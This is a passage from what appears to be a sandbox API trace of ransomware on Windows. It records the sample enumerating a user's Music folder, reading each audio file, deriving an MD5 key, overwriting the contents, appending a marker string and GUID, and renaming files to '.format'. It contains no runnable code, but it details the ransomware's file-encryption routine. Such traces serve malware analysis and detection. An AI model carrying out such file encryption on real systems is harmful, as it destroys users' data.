Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.951] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.951] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.951] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.951] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.951] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.951] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.951] CloseHandle (hObject=0x5c8) returned 1 [0068.952] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eda08 [0068.952] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0068.952] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31eda08 | out: hHeap=0x5d0000) returned 1 [0068.952] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\oN6ToGM.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\on6togm.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\oN6ToGM.wav.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\on6togm.wav.format")) returned 1 [0068.953] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.953] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.954] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31021f8 | out: hHeap=0x5d0000) returned 1 [0068.954] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x941eedc0, ftCreationTime.dwHighDateTime=0x1d4cdfa, ftLastAccessTime.dwLowDateTime=0xcfe9df80, ftLastAccessTime.dwHighDateTime=0x1d4d38c, ftLastWriteTime.dwLowDateTime=0xcfe9df80, ftLastWriteTime.dwHighDateTime=0x1d4d38c, nFileSizeHigh=0x0, nFileSizeLow=0x8636, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TVjDvLMaCl23iZhTXt4.wav", cAlternateFileName="TVJDVL~1.WAV")) returned 1 [0068.954] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.954] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd6) returned 0x31021f8 [0068.954] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.954] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\TVjDvLMaCl23iZhTXt4.wav") returned=".wav" [0068.954] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\TVjDvLMaCl23iZhTXt4.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\tvjdvlmacl23izhtxt4.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.954] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=34358) returned 1 [0068.954] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.956] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x8610, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.956] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.957] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.957] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x8636, lpOverlapped=0x0) returned 1 [0068.957] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.957] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.957] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.958] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.958] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.958] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.958] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.958] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.958] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.958] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.958] GetLastError () returned 0x0 [0068.958] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.959] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.959] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8640) returned 0x32b2f40 [0068.959] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.959] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.959] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x8631, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x8631, lpOverlapped=0x0) returned 1 [0068.959] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.959] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x8636, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.959] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.959] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.959] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.961] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.961] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.961] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.961] CloseHandle (hObject=0x5c8) returned 1 [0068.962] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185980 [0068.962] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8d0) returned 0x3178dd8 [0068.962] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.962] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\TVjDvLMaCl23iZhTXt4.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\tvjdvlmacl23izhtxt4.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\TVjDvLMaCl23iZhTXt4.wav.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\tvjdvlmacl23izhtxt4.wav.format")) returned 1 [0068.963] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.963] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.964] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31021f8 | out: hHeap=0x5d0000) returned 1 [0068.964] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32731900, ftCreationTime.dwHighDateTime=0x1d4cb90, ftLastAccessTime.dwLowDateTime=0xbc5d8680, ftLastAccessTime.dwHighDateTime=0x1d4c656, ftLastWriteTime.dwLowDateTime=0xbc5d8680, ftLastWriteTime.dwHighDateTime=0x1d4c656, nFileSizeHigh=0x0, nFileSizeLow=0x37fd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yXKk5eT.mp3", cAlternateFileName="")) returned 1 [0068.964] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0068.964] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd6) returned 0x31021f8 [0068.964] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0068.964] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\yXKk5eT.mp3") returned=".mp3" [0068.964] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\yXKk5eT.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\yxkk5et.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.964] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=14333) returned 1 [0068.964] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.967] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x37d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.967] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.967] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.967] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.967] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.967] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x37fd, lpOverlapped=0x0) returned 1 [0068.968] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.968] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.968] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.968] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.968] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.968] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.968] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.968] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.968] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.968] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.969] GetLastError () returned 0x0 [0068.969] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.969] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.969] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x3800) returned 0x32aa8e0 [0068.969] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.969] WriteFile (in: hFile=0x5c8, lpBuffer=0x32aa8e0*, nNumberOfBytesToWrite=0x37f8, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32aa8e0*, lpNumberOfBytesWritten=0x38cfb24*=0x37f8, lpOverlapped=0x0) returned 1 [0068.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32aa8e0 | out: hHeap=0x5d0000) returned 1 [0068.969] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x37fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.969] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.969] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.969] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.969] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.969] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.969] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.970] CloseHandle (hObject=0x5c8) returned 1 [0068.974] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eda08 [0068.974] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0068.974] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31eda08 | out: hHeap=0x5d0000) returned 1 [0068.974] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\yXKk5eT.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\yxkk5et.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\VaIh-oYg6BJgtgDU7\\yXKk5eT.mp3.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\vaih-oyg6bjgtgdu7\\yxkk5et.mp3.format")) returned 1 [0068.974] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.974] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.975] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31021f8 | out: hHeap=0x5d0000) returned 1 [0068.975] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c47cf40, ftCreationTime.dwHighDateTime=0x1d4d006, ftLastAccessTime.dwLowDateTime=0xe76c0660, ftLastAccessTime.dwHighDateTime=0x1d4c7ed, ftLastWriteTime.dwLowDateTime=0xe76c0660, ftLastWriteTime.dwHighDateTime=0x1d4c7ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZhcquXKYxwu7mV", cAlternateFileName="ZHCQUX~1")) returned 1 [0068.975] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3284030 [0068.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0068.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283900 [0068.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0068.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3284030 | out: hHeap=0x5d0000) returned 1 [0068.976] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c47cf40, ftCreationTime.dwHighDateTime=0x1d4d006, ftLastAccessTime.dwLowDateTime=0xe76c0660, ftLastAccessTime.dwHighDateTime=0x1d4c7ed, ftLastWriteTime.dwLowDateTime=0xe76c0660, ftLastWriteTime.dwHighDateTime=0x1d4c7ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZhcquXKYxwu7mV", cAlternateFileName="ZHCQUX~1")) returned 0 [0068.976] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2db8 | out: hHeap=0x5d0000) returned 1 [0068.976] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eda08 [0068.976] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.976] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.976] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.977] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 